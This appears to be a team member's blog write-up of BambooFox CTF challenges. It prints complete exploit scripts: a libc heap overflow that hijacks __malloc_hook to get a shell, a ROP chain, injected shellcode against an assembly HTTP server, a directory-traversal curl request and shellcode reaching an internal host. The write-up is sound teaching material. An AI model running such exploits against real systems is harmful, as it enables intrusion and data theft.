BambooFox CTF had been held from December 31th to January 1st.
I played it a bit in zer0pts
and we stood 5th place.
All of the pwn-related tasks were very fun! Thank you for hosting the CTF and happy new year :)
- [Pwn 323pts] note
- [Pwn 357pts] APP I
- [Rev 37pts] How2decompyle
- [Rev 115pts] Move or not
- [Web+Pwn 769pts] NEW
- [Web+Misc 833pts] YEAR
Other members' writeups:
[Pwn 323pts] note
A 64-bit ELF and libc-2.27 are distributed.
$ checksec -f note RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 85 Symbols Yes 0 6 note
It's a normal heap challenge and the vulnerability is pretty obvious.
In the copy function, it sets the size of the destination note into the return value of snprintf
.
snprintf
will not return the copied size but the given input size, so it can be the cause of heap overflow.
I used __malloc_hook
as it allocates chunk with calloc
.
However, none of the one gadget work.
Even though rcx points to NULL, it crashes within movaps
as always.
So, I put one gadget to __relloc_hook
and "call realloc gadget" to __malloc_hook
in order to align the stack.
from ptrlib import * def add(size): sock.sendlineafter(": ", "1") sock.sendlineafter(": ", str(size)) return def edit(index, data): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", data) return def show(index): sock.sendlineafter(": ", "3") sock.sendlineafter(": ", str(index)) return sock.recvline().rstrip(b'*') def copy(src, dst): sock.sendlineafter(": ", "4") sock.sendlineafter(": ", str(src)) sock.sendlineafter(": ", str(dst)) return def delete(index): sock.sendlineafter(": ", "5") sock.sendlineafter(": ", str(index)) return libc = ELF("./libc-2.27.so") #sock = Process("./note") sock = Socket("34.82.101.212", 10001) libc_main_arena = 0x3ebc40 libc_one_gadget = 0x4f2c5 call_realloc = 0x1524d0 # leak libc add(0x38) # 0 add(0x18) # 1 add(0x3f8) # 2 add(0x68) # 3 edit(3, (p64(0)+p64(0x21))*6) edit(0, b"A"*0x2f) copy(0, 1) edit(1, b"B"*0x18+p64(0x431)) delete(2) libc_base = u64(show(1)[0x20:0x28]) - libc_main_arena - 0x60 logger.info("libc base = " + hex(libc_base)) delete(0) delete(3) # evict tache add(0x68) # 0 for i in range(7): add(0x68) # 2 delete(2) delete(0) # house of spirit edit(1, b'B'*0x18+p64(0x71)+p64(libc_base + libc.symbol('__malloc_hook') - 0x23)) add(0x68) # 0 add(0x68) # 2 payload = b'\x00'*0xb payload += p64(libc_base + libc_one_gadget) payload += p64(libc_base + call_realloc) edit(2, payload) # get the shell! sock.sendlineafter(": ", "1") sock.sendlineafter(": ", "123") sock.interactive()
[Pwn 357pts] APP I
We're given a statically linked ELF binary.
$ checksec -f app RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 1806 Symbols Yes 0 39 app
It has a simple stack overflow and thus it seems easy to get the shell.
However, as the environment is under chroot, we need to craft a rop chain to read and write the contents of /flag1
.
Still, it's so easy and I can't understand why much more people solved note than this one.
from ptrlib import * import time elf = ELF("./app") #sock = Process("./app") sock = Socket("34.82.101.212", 10011) rop_pop_rdi = 0x00400686 rop_pop_rsi = 0x00410083 rop_pop_rdx = 0x0044b9b6 rop_pop_rax = 0x00415234 rop_syscall = 0x00474a05 addr_path = elf.section('.bss') + 0x100 addr_flag = elf.section('.bss') + 0x200 payload = b'A' * 0x108 payload += p64(rop_pop_rdi) payload += p64(addr_path) payload += p64(elf.symbol('gets')) # gets(path) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdi) payload += p64(addr_path) payload += p64(rop_pop_rax) payload += p64(2) payload += p64(rop_syscall) # open(path, O_RDNLY) payload += p64(rop_pop_rdx) payload += p64(0x30) payload += p64(rop_pop_rsi) payload += p64(addr_flag) payload += p64(rop_pop_rdi) payload += p64(3) payload += p64(rop_pop_rax) payload += p64(0) payload += p64(rop_syscall) # read(fd, flag, 0x40) payload += p64(rop_pop_rdx) payload += p64(0x30) payload += p64(rop_pop_rsi) payload += p64(addr_flag) payload += p64(rop_pop_rdi) payload += p64(1) payload += p64(rop_pop_rax) payload += p64(1) payload += p64(rop_syscall) # write(1, flag, 0x40) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) time.sleep(0.1) sock.sendline("/flag1") sock.interactive()
[Rev 37pts] How2decompyle
Given a pyc file, I decompiled it and just wrote a decoder.
table = 'abcdefghijklmnopqrstuvwxyz_' restrictions = [ 'uudcjkllpuqngqwbujnbhobowpx_kdkp_', 'f_negcqevyxmauuhthijbwhpjbvalnhnm', 'dsafqqwxaqtstghrfbxzp_x_xo_kzqxck', 'mdmqs_tfxbwisprcjutkrsogarmijtcls', 'kvpsbdddqcyuzrgdomvnmlaymnlbegnur', 'oykgmfa_cmroybxsgwktlzfitgagwxawu', 'ewxbxogihhmknjcpbymdxqljvsspnvzfv', 'izjwevjzooutelioqrbggatwkqfcuzwin', 'xtbifb_vzsilvyjmyqsxdkrrqwyyiu_vb', 'watartiplxa_ktzn_ouwzndcrfutffyzd', 'rqzhdgfhdnbpmomakleqfpmxetpwpobgj', 'qggdzxprwisr_vkkipgftuvhsizlc_pbz', 'jerzhlnsegcaqzathfpuufwunakdtceqw', 'lbvlyyrugffgrwo_v_zrqvqszchqrrljq', 'aiwuuhzbszvfpidwwkl_wynlujbsbhfox', 'vmhrizxtiegxdxsqcdoiyxkffloudwtxg', 'tffjnabob_jbf_qiszdsemczghnjysmah', 'zrqkppvynlkelnevngwlkhgaputhoagtt', 'nl_oojyafwoqccbedijmigpedkdzglq_f', 'cksy_skctjlyxktuzchvstunyvcvabomc', 'ppcxleeguvhvhengmvac_bykhzqohjuei', '_clmaicjrrzhwd_fescyaejtbyefxyihy', 'hhopvwsmjtpjiffzatyhjrev_dwnsidyo', 'sjevtrmkkk_zjalxrxfovjsbcxjx_pskp', 'gnynwuuqypddbsylparpcczqimimqmvdl', 'bxitcmhnmanwuhvjxnqeoiimlegrmkjra'] flag = '' for i in range(len(restrictions[0])): for c in table: for restriction in restrictions: if c == restriction[i]: break else: flag += c print(flag)
[Rev 115pts] Move or not
It's a simple x86-64 ELF. We're asked 2 numbers when executing the file. First one is easy as it just compares the input with a constant number 0x18070. The second one is the key to unpack the machine code. The program just adds key-49 to the machine code byte by byte and thus key is a value between 0 to 255. I found the only value which won't crash the program was 50 by brute forcing. Now, making breakpoint before strcmp and checking the argument reveals the flag.
pwndbg> break *0x55a3b2f07919 Breakpoint 2 at 0x55a3b2f07919 pwndbg> conti Continuing. First give me your password: 98416 Second give me your key: 50 Then Verify your flag: 123 Breakpoint 2, 0x000055a3b2f07919 in ?? () Breakpoint *0x55a3b2f07919 pwndbg> x/1s $rdi 0x55a3b3108100: "BambooFox{dyn4mic_1s_4ls0_gr34t}"
[Web+Pwn 769pts] NEW
When I tried this challenge, @st98 had already found the source code of the HTTP server in previous challenge "HAPPY."
The server is written in assembly language.
The vulnerability is obvious in read_req_path
in http.asm
.
Although it initialized stack by enter 1000, 0
, the request size is allowed to be up to 1024.
read_req_path: enter 1000, 0 read_req_path_start: mov rax, 0 ; sys_read mov rdi, [sockfd] ; read from client lea rsi, [rbp-1000] ; store in req_path mov rdx, 1024 ; read only 1 line (<=1 KB) syscall
NX and PIE are disabled and thus we can just run our shellcode!
I tried to execute the shell but it didn't work in remote because of chroot maybe.
So, I just listed up all files in ../flags
and read it by directory traversal vulnerability already found by st98.
_start: mov rdx, rdi shr rdx, 16 shl rdx, 16 add dx, 0xb00 mov r15, rdx ; r15 = 0x600b00 mov rdx, r15 add dl, 0x24 mov rdi, [rdx] xor esi, esi mov al, 33 syscall ; dup2([0x600b24], 0) mov rdx, r15 add dl, 0x24 mov rdi, [rdx] xor esi, esi inc esi mov al, 33 syscall ; dup2([0x600b24], 1) mov rdx, r15 add dx, 0x100 mov rax, 0x7367616c662f2e2e mov [rdx], rax mov rdi, rdx xor eax, eax xor edx, edx xor esi, esi mov al, 2 syscall ; open(".", O_RDONLY) mov rdi, rax xor edx, edx xor eax, eax mov dx, 0x3210 sub rsp, rdx mov rsi, rsp mov al, 78 syscall ; getdents(fd, rsp, 0x3210) xchg rax, rdx xor eax, eax xor edi, edi inc eax inc edi mov rsi, rsp syscall ; write(1, rsp, rdx) here: nop jmp here
Sending this shellcode reveals the existence of flag2-99754106633f94d350db34d548d6091a.txt
.
from ptrlib import * #sock = Socket("localhost", 8888) sock = Socket("34.82.101.212", 8001) addr_shellcode = 0x600a94 + 2 with open("shellcode.o", "rb") as f: f.seek(0x180) shellcode = f.read(0x100) shellcode = shellcode[:shellcode.index(b'EOF')] payload = b"GET /" payload += shellcode payload += b"A" * (1000 - len(payload)) payload += p64(0) payload += p64(addr_shellcode) sock.sendline(payload) sock.interactive()
Directory traversal:
$ curl --path-as-is "http://34.82.101.212:8001/../../../../home/web/flags/flag2-99754106633f94d350db34d548d6091a.txt"
[Web+Misc 833pts] YEAR
Same server as challenge NEW
.
The challenge description says we need to access to http://neighbor/flag3.txt
from inside the server.
I read /etc/hosts
by directory traversal and found the server working as 172.18.0.3
.
So, neighbor
would have similar IP address.
We could run shellcode in the previous challenge and I just changed the shellcode into one that connects to 172.18.0.X:80
, sends GET /flag3.txt
and reads the response.
_start: mov rdx, rdi shr rdx, 16 shl rdx, 16 add dx, 0xb00 mov r15, rdx ; r15 = 0x600b00 mov rdx, r15 add dl, 0x24 mov r13, [rdx] ;;; HTTP client push 0x020012ac ; Address (172.18.0.2) push word 0x5000 ; Port (80) push word 2 ; Address family push 42 ; connect syscall push byte 16 ; length push byte 41 ; socket syscall push byte 1 ; type (SOCK_STREAM) push byte 2 ; family (AF_INET) pop rdi ; family pop rsi ; type xor edx, edx ; protocol pop rax ; SYS_socket syscall mov r14, rax mov rdi, rax ; sockfd pop rdx ; length pop rax ; SYS_connect mov rsi, rsp ; sockaddr syscall mov rsi, r15 add si, 0x210 mov rdi, r13 xor eax, eax syscall ; read(fd, url, 0x10); mov rdi, r14 ; sockfd xor eax, eax inc eax ; SYS_write syscall mov dx, 0x100 xor eax, eax ; SYS_read syscall mov rdi, r13 xor eax, eax inc eax syscall ; SYS_write
I changed the IP and found the flag on 172.18.0.2
.